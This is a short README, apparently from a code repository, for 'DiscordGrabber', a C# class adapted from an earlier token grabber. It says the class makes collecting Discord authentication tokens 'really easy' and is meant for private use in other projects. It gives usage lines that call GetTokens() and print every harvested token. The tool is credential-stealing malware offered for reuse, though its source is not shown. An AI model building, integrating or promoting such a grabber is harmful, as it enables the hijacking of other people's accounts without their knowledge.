DiscordGrabber is a C# class that makes the collection of Discord Tokens really easy. I use this class for many of my projects.
The Original code is from Nyxonn (C4ndyGrabber). I modified it for easier private use and implementation.
Just add the DiscordGrabber.cs file in your Project and call:
DiscordGrabber.GetTokens();
This will output all found tokens in a console window:
foreach (string token in DiscordGrabber.GetTokens()) Console.WriteLine(token);